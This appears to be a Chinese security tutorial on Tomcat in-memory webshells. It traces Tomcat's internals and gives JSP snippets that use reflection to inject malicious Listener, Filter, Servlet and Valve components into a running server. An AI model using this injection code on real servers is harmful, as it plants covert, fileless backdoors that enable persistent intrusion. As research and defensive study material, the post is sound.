前言

内存马是指一种只在内存中运行,没有文件落地或者运行后能够删除自身的木马
Servlet,Filter,Listener 由 javax.servlet.ServletContext 去加载,在不同的容器中,实现有所不同,这里仅以 Tomcat 为例进行调试

添加配置

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.85</version>
</dependency>

没这个配置tomcat也能跑但是看不了底层

Tomcat

Tomcat Server大致可以分为三个组件,ServiceConnectorContainer
Tomcat-2
其中Server对应就是一个Tomcat实例;Service 默认 只有一个,也就是一个Tomcat实例默认一个Service;
一个Service包含多个Connector和一个Container,不同的Connector连接器,接收不同的连接协议;多个Connector连接器对应一个Container容器

Connector连接器负责外部交流,Container容器负责内部处理。也就是: 连接器处理Socket通信和应用层协议的解析,得到ServletRequest,而容器则负责处理ServletRequest

Tomcat基础

Connector

4
Connector用于连接Service和Container,解析客户端的请求并转发到Container,以及转发来自Container的响应。每一种不同的Connector都可以处理不同的请求协议,包括HTTP/1.1、HTTP/2、AJP等等。

Container

Tomcat的Container包含四种子容器:EngineHostContextWrapper,在Tomcat源码中我们可以清晰地看到各容器之间的继承关系
72
Engine代表引擎,用于管理多个站点(Host)
Context对应的是一个Web应用,而一个WEB应用可以有多个Servlet,对应着Context中可以包含多个Wrapper容器,而一个Wrapper封装着一个Servlet。因此Context可以用来保存一个Web应用中多个Servlet的上下文信息。

Context

1-795x1500
ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。

Tomcat内存马

Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。

而这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上

如何获取StandardContext

我们想要改变tomcat的状态就必须得获得与底层交互的StandardContext对象

通过获取request对象获取standardContext

通过request对象获取StandardContext

1
2
3
4
5
6
<%
Field reqF = request.getClass().getDeclaredField("request");//RequestFacade的request字段是个Request对象
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();//用Request类的getContext方法
%>

通过ApplicationFilterChain的ThreadLocal (tomcat 789)

1
2
3
4
5
6
7
8
9
10
11
Field f = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal t = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (t != null && t.get() != null) {
ServletRequest servletRequest = (ServletRequest) t.get();
}
ServletContext servletContext = servletRequest.getServletContext();
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
StandardContext standardContext=(org.apache.catalina.core.StandardContext) contextField.get(servletContext);
直接从线程中获取standardContext

从ContextClassLoader获取(限制在于只可用于Tomcat 8 9)

1
2
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

全版本
https://xz.aliyun.com/t/9914?time__1311=n4%2BxnD0DuDRDci%2BKDsAoxCwbhCYDtiDgGOrYD#toc-8

Listener型

ServletRequestListener非常适合用来作为内存马,如有设置ServletRequestListener,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法

下面以ServletRequestListener为例

StandardContext#startInternal

startInternal方法会在 Tomcat 启动过程中被调用,以确保内部组件的正确启动和配置。为启动 Web 应用程序准备上下文环境,是最先被触发的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
protected synchronized void startInternal() throws LifecycleException {
if (ok && !this.listenerStart()) {//listenerStart方法中将我们的 Listener 实例化添加到了 applicationEventListenersList 中
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}

if (ok) {
this.checkConstraintsForUncoveredMethods(this.findConstraints());
}

try {
Manager manager = this.getManager();
if (manager instanceof Lifecycle) {
((Lifecycle)manager).start();
}
} catch (Exception var18) {
log.error(sm.getString("standardContext.managerFail"), var18);
ok = false;
}

if (ok && !this.filterStart()) {//构建了filterConfigs为创建ApplicationFilterChain做准备
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}

if (ok && !this.loadOnStartup(this.findChildren())) {//前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper传入loadOnStartup()中进行加载处理
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
.....

StandardContext#fireRequestInitEvent

StandardHostValve中调用了StandardContext#fireRequestInitEvent方法,该方法是 Tomcat 在请求初始化阶段触发的事件之一。它负责向所有监听器发送一个 ServletRequestEvent 事件,并初始化所以的监听器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
private String[] applicationListeners = new String[0];//applicationListeners 数组中存放的就是我们的 Listener 名称
private List<Object> applicationEventListenersList = new CopyOnWriteArrayList();
//先看上面那个 if (ok && !this.listenerStart()) {
public boolean listenerStart() {
String[] listeners = this.findApplicationListeners(); // return this.applicationListeners;
Object[] results = new Object[listeners.length];
boolean ok = true;

for(int i = 0; i < results.length; ++i) {

try {
String listener = listeners[i];
results[i] = this.getInstanceManager().newInstance(listener);//这里实例化了
......

List<Object> eventListeners = new ArrayList();
Object[] instances = results;
int var7 = results.length;
int var8;
Object lifecycleListener;
for(var8 = 0; var8 < var7; ++var8) {
lifecycleListener = instances[var8];
if (lifecycleListener instanceof ServletContextAttributeListener || lifecycleListener instanceof ServletRequestAttributeListener || lifecycleListener instanceof ServletRequestListener || lifecycleListener instanceof HttpSessionIdListener || lifecycleListener instanceof HttpSessionAttributeListener) {
eventListeners.add(lifecycleListener);
}
eventListeners.addAll(Arrays.asList(this.getApplicationEventListeners()));
this.setApplicationEventListeners(eventListeners.toArray());//向applicationEventListenersList装填了我们的Listener

public void setApplicationEventListeners(Object[] listeners) {
this.applicationEventListenersList.clear();
if (listeners != null && listeners.length > 0) {
this.applicationEventListenersList.addAll(Arrays.asList(listeners));
}

}

//再看valve触发的fireRequestInitEvent
public boolean fireRequestInitEvent(ServletRequest request) {//ServletRequest为请求
Object[] instances = this.getApplicationEventListeners();//return this.applicationEventListenersList.toArray();
if (instances != null && instances.length > 0) {
ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
Object[] var4 = instances;
int var5 = instances.length;

for(int var6 = 0; var6 < var5; ++var6) {
Object instance = var4[var6];
if (instance != null && instance instanceof ServletRequestListener) {
ServletRequestListener listener = (ServletRequestListener)instance;

try {
listener.requestInitialized(event);//这里触发了ServletRequestListener的requestInitialized方法
} catch (Throwable var10) {
ExceptionUtils.handleThrowable(var10);
this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), var10);
request.setAttribute("javax.servlet.error.exception", var10);
return false;
}
}
}
}

return true;
}
//添加listener到applicationEventListenersList的方法
public void addApplicationEventListener(Object listener) {
this.applicationEventListenersList.add(listener);//我们可以通过StandardContext#addApplicationEventListener()方法来添加我们自己的Listener
}

示例

只需要往applicationEventListenersList中加入我们的恶意Listener即可

1
2
3
4
5
6
7
8
9
<%
Field reqF = request.getClass().getDeclaredField("request");//RequestFacade的request字段是个Request对象
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();//用Request类的getContext方法

Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

Filter型

StandardWrapperValve#invoke()方法中,调用了 filterChain.doFilter,进而调用了this.internalDoFilter

1
2
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
filterChain.doFilter(request.getRequest(), response.getResponse());
ApplicationFilterChain#internalDoFilter

ApplicationFilterChain 类是 Servlet 容器中过滤器链的核心部分,它负责管理和执行过滤器链中的过滤器。当一个请求到达容器时,容器会将该请求交给 ApplicationFilterChain 处理。

ApplicationFilterChain 的 internalDoFilter 方法负责按照过滤器链的顺序执行每个过滤器的 doFilter 方法,并处理过滤器链的流程控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
...
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
...
ApplicationFilterConfig(Context context, FilterDef filterDef)
...
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// 检查是否还有下一个过滤器需要执行
if (pos < n) {
// 获取当前位置的过滤器
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();//通过ApplicationFilterConfig获得Filter

if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {//是否存在 SecurityManager
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();

Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
// 调用过滤器的 doFilter 方法进行处理
filter.doFilter(request, response, this);
}
}
...
}
//添加ApplicationFilterConfig到filters的方法
void addFilter(ApplicationFilterConfig filterConfig) {

// Prevent the same filter being added multiple times
for(ApplicationFilterConfig filter:filters) {
if(filter==filterConfig) {
return;
}
}

if (n == filters.length) {
ApplicationFilterConfig[] newFilters =
new ApplicationFilterConfig[n + INCREMENT];
System.arraycopy(filters, 0, newFilters, 0, n);
filters = newFilters;//添加到filters属性中
}
filters[n++] = filterConfig;

}

ApplicationFilterFactory#createFilterChain

与Listener不同的是,Filter没有直接加入到filters中,而是封装成ApplicationFilterConfig,现在我们来寻找一下 ApplicationFilterChain.filters 属性里的值是怎么产生的。

最上面我们知道了通过 ApplicationFilterFactory.createFilterChain() 方法可以初始化了一个ApplicationFilterChain类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

...

filterChain = new ApplicationFilterChain();

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

StandardContext context = (StandardContext) wrapper.getParent();//调用 getParent 获取当前 Context
FilterMap filterMaps[] = context.findFilterMaps(); //return this.filterMaps.asArray();
//StandardContext中的FilterMaps对象中存储的是各Filter的名称路径等信息

...

String servletName = wrapper.getName();

//获取StandardContext中的FilterMaps对象
for (FilterMap filterMap : filterMaps) {

...
//最后根据Filter的名称,在StandardContext中获取FilterConfig
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
//根据从StandardContext的FilterMaps中获取FilterMap的filterName 在 StandardContext 的 filterConfigs 选出与其键匹配的值
context.findFilterConfig(filterMap.getFilterName());//return (FilterConfig)this.filterConfigs.get(name);

...

filterChain.addFilter(filterConfig);//将获取的ApplicationFilterConfig添加到创建的filterChain的filters中
}

...

// Return the completed filter chain
return filterChain;
}


//FilterMap
private int dispatcherMapping = 0;
private String[] servletNames = new String[0];// <filter-name>TestFilter</filter-name>
private String[] urlPatterns = new String[0];// <url-pattern>/*</url-pattern>
private String filterName = null;
//StandardContext
private final ContextFilterMaps filterMaps = new ContextFilterMaps();

StandardContext#filterStart

可以看出createFilterChain时,根据FilterMap中的信息,从filterConfigs中提取ApplicationFilterConfig,并添加到filterChain中的,接下来看看filterConfigs是怎么创建的
在往上捣,到最开始的StandardContext#filterStart

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();

public boolean filterStart() {
boolean ok = true;
synchronized(this.filterConfigs) {//synchronized只允许一个线程同时执行一个同步代码块
this.filterConfigs.clear();
Iterator var3 = this.filterDefs.entrySet().iterator();
while(var3.hasNext()) {
Map.Entry<String, FilterDef> entry = (Map.Entry)var3.next();
String name = (String)entry.getKey();

try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);

}
//FilterDef
private transient Filter filter = null;
private String filterClass = null;// <filter-class></filter-class>
private String filterName = null;//<filter-name></filter-name>
示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<%
//获取StandardContext对象
ServletContext servletContext = request.getSession().getServletContext();//获取ApplicationContextFacade类
Field appContextField = servletContext.getClass().getDeclaredField("context");//反射获取ApplicationContextFacade类属性context为ApplicationContext类
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");//反射获取ApplicationContext类属性context为StandardContext类
standardContextField.setAccessible(true);

StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
//1.创建filterMap,作为寻找的索引
//创建filterMap并添加进standardContext的FilterMaps
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

//2. 添加ApplicationFilterConfig到中filterConfigs
//FilterDef封装filter并添加进standardContext的FilterDefs
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);


//使用ApplicationFilterConfig封装filterDef,然后将其添加到standardContext的filterConfigs中
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
%>
tomcat 6,7,8 的区别

tomcat 7 与 tomcat 8、9 在 FilterDef 和 FilterMap 这两个类所属的包名不太一样

1
2
3
4
5
6
tomcat 7:
org.apache.catalina.deploy.FilterDef
org.apache.catalina.deploy.FilterMap
tomcat 8、9:
org.apache.tomcat.util.descriptor.web.FilterDef
org.apache.tomcat.util.descriptor.web.FilterMap

tomcat6中dispatch使用字符串表示的,所以在设置FilterMap的使用直接setDispatcher(“REQUEST”)就行了不用之前的DispatcherType类,所以去掉了filterMap.setDispatcher(DispatcherType.REQUEST.name());
FilterDef 在Tomcat6下面没有filter这个属性,Tomcat6中是通过filterDef的属性filterClass属性作为类名,通过ClassLoader去实例化,所以去掉了filterDef.setFilter(filter);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//tomcat6
//创建FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
standardContext.addFilterMap(filterMap);

//FilterDef封装filter并添加进standardContext的FilterDefs
final String name="idoaiod";
Filter filter = new myfilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

//创建ApplicationFilterConfig类, 并将它添加到filterConfigs中
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

servlet

servlet不同于filter,listen,它早在StandardContext#startInternal就被加载了

StandardContext#loadOnStartup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.....
public boolean loadOnStartup(Container[] children) {
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap();
Container[] var3 = children;
int var4 = children.length;

for(int var5 = 0; var5 < var4; ++var5) {
Container child = var3[var5];
Wrapper wrapper = (Wrapper)child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup >= 0) {//选出loadOnStartup >= 0 的项以其为键加载含有对应Wrapper的list为值
//这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。
Integer key = loadOnStartup;
ArrayList<Wrapper> list = (ArrayList)map.get(key);
if (list == null) {
list = new ArrayList();
map.put(key, list);//
}

list.add(wrapper);
}
}
Iterator var12 = map.values().iterator();//获取值的迭代器对象

while(var12.hasNext()) {
ArrayList<Wrapper> list = (ArrayList)var12.next();
Iterator var14 = list.iterator();

while(var14.hasNext()) {
Wrapper wrapper = (Wrapper)var14.next();

try {
wrapper.load();//在这里会把wrapper给加载了
ContextConfig

上面我们已经分析了 StandardContext 是通过Wrapper容器加载Servlet,接下来我们具体分析一下如何构造Wrapper

ContextConfig 类是 Tomcat 的内部类,它实现了 Tomcat 的 LifecycleListener 接口,用于监听 Web 应用程序上下文的生命周期事件。具体而言,ContextConfig 类在应用程序启动时负责读取和解析应用程序的 web.xml 配置文件,并将配置信息应用到应用程序的上下文中。ContextConfig 类会创建和初始化 Servlet 上下文对象,用于管理应用程序的 Servlet。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public class ContextConfig implements LifecycleListener {
....
private void configureContext(WebXml webxml) {

context.setPublicId(webxml.getPublicId());

... //设置StandardContext参数


while(var35.hasNext()) {
ServletDef servlet = (ServletDef)var35.next();
//创建StandardWrapper对象
Wrapper wrapper = this.context.createWrapper();


if (servlet.getLoadOnStartup() != null) {
//设置LoadOnStartup属性
wrapper.setLoadOnStartup(servlet.getLoadOnStartup());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}

//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String, String> params = servlet.getParameterMap();
var7 = params.entrySet().iterator();

while(var7.hasNext()) {
Map.Entry<String, String> entry = (Map.Entry)var7.next();
wrapper.addInitParameter((String)entry.getKey(), (String)entry.getValue());
}
.......

//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());

//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);

var35 = webxml.getServletMappings().entrySet().iterator();

while(var35.hasNext()) {
Map.Entry<String, String> entry = (Map.Entry)var35.next();
this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue()); //添加路径映射
}

}
}
...
}
示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%
Field reqF = request.getClass().getDeclaredField("request");//RequestFacade的request字段是个Request对象
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();//用Request类的getContext方法
<%
Wrapper wrapper = standardContext.createWrapper();
String name = servlet.getClass().getSimpleName();
wrapper.setName(name);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());//(包括包名)
%>
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/abc", name);
%>

Valve

上面我们已经介绍了Tomcat的Container的结构,而它的整个调用过程是通过Pipeline-Valve管道进行的

Servlet请求调用过程

把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等 。Valve表示一个处理点,Valve中的invoke方法就是来处理请求的。如StandardWrapperValve#invoke()调用了doFilter,StandardHostValve#invoke()调用了requestInitialized,整个过程是通过连接器CoyoteAdapter中的service方法触发的,它会调用Engine的第一个Valve的invoke方法
2021-05-29-6
Tomcat 中 Pipeline 仅有一个实现类StandardPipeline,存放在 ContainerBase 的 pipeline 属性中,四大组件Engine/Host/Context/Wrapper都有自己的Pipeline,在ContainerBase容器基类定义了,因此只要获取四大组件之一调用add方法即可添加

示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

Pipeline pipeline = standardContext.getPipeline();
%>
<%

Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);

%>
<%!
class Shell_Valve extends ValveBase {

@Override
public void invoke(Request request, Response response)
....